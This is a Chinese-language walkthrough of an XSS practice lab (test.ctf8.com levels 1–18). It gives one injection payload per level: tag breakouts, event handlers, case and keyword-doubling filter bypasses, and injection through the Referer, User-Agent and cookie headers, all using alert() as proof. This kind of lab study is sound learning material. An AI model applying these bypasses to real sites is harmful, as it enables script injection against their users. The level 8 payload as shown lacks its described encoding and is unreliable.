Level 1
页面没有文本框,但可以从URL下手
payload:test.ctf8.com/level1.php?name=<script>alert('ok')</script>
Level 2
随便输入点什么,查看页面源码,发现我们输入的内容被困在了input的value属性内,那就闭合他们
payload:"><script>alert('ok')</script>
Level 3
<>被转义,所以不能再用标签,那就给input加一个onfocus事件
payload:' onfocus=alert('ok')//
Level 4
和上一关相同,只不过value需要用单引号闭合
payload:" onfocus=alert('ok')//
Level 5
script和onclick都被过滤了,没关系,我们还有a标签
payload:"><a href="javascript:alert('ok')">
Level 6
script、onclick、href都被过滤了,那试试大小写绕过
payload:"> <SCRIPT>alert('ok')</SCRIPT>
Level 7
script被替换成了null,那就好办了,将script放到scr和ipt之间,即使script被替换成了null,前后连接依然又是一个script
paylaod:"><scrscriptipt>alert('ok')</scrscriptipt>
Level 8
script、onclick被屏蔽了并且大小写还不能绕过,那只能请出我们的HTML ASCCI编码来替换r了
paylaod:javascript:alert('ok')
Level 9
可能后台代码限制了输入的格式必须为网址,所以我们必须加一串网址,%0d是urlencode编码的换行
payload:
javascript:%0dhttp://www.0aa.me%0dalert('ok')
Level 10
F12审查元素,发现有三个属性为hidden的表单,我们可以修改URL参数来实现注入
payload:
http://test.ctf8.com/level10.php?t_sort=" type="text" onclick="alert('ok')"
Level 11
检查元素的时候发现了隐藏的input标签,抓包看看什么效果
referer的值就是input的value值,那我们就修改referer
payload:" type="text" onclick="alert('zdy')
Level 12
检查元素,发现隐藏的input标签,并且value值就是抓包获取到的User-Agent
那就修改User-Agent
paylaod:" type="text" onclick="alert('ok')
Level 13
检查元素,发现隐藏的input标签,并且value值就是抓包获取到的cookie
修改cookie
payload:" type="text" onclick="alert('ok')
Level 14 15
这俩题不会…
Level 16
检查元素可以发现有个center标签
这就很奇怪,他放个center标签有什么用?试着向center标签内输入点东西,在URL中输入?keyword=test(你要问我为什么在URL中输入,前几关就是那样),发现它出现在了页面中,那就好办了,直接上img<>被转义了 用UrlEncode编码代替
payload:
test.ctf8.com/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert('ok')%3E
Level 17
检查元素,修改URL内的a为132,发现embed标签的src属性变了,那么注入点就找到了,直接闭合src属性再给他加个点击事件就可以了
payload:
http://test.ctf8.com/level17.php?arg01=a&arg02=b" onclick=alert('ok')
Level 18
跟上一关一样检查元素,修改URL内的a为132,发现embed标签的src属性变了,那么注入点就找到了,直接闭合src属性再给他加个点击事件就可以了
payload:
http://test.ctf8.com/level18.php?arg01=a&arg02=b" onclick=alert('ok')
Level 19 20
flash xss,没了解过,不会